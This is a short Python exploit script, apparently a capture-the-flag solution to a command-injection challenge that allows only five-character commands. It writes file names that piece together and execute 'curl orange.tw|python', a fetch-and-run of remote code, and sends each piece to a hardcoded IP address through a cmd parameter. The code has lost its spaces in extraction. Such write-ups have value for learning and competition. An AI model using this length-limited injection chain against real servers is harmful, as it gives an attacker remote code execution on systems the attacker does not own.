exploit.py

importrequests
fromtimeimportsleep
fromurllibimportquote

payload= [
# generate `ls -t>g` file
'>ls\\', 
'ls>_', 
'>\ \\', 
'>-t\\', 
'>\>g', 
'ls>>_', 

# generate `curl orange.tw|python`
'>on', 
'>th\\', 
'>py\\', 
'>\|\\', 
'>tw\\',
'>e.\\', 
'>ng\\', 
'>ra\\', 
'>o\\', 
'>\ \\', 
'>rl\\', 
'>cu\\', 

# exec
'sh _', 
'sh g', 
]



r=requests.get('http://52.199.204.34/?reset=1')
foriinpayload:
assertlen(i) <=5
r=requests.get('http://52.199.204.34/?cmd='+quote(i) )
printi
sleep(0.2)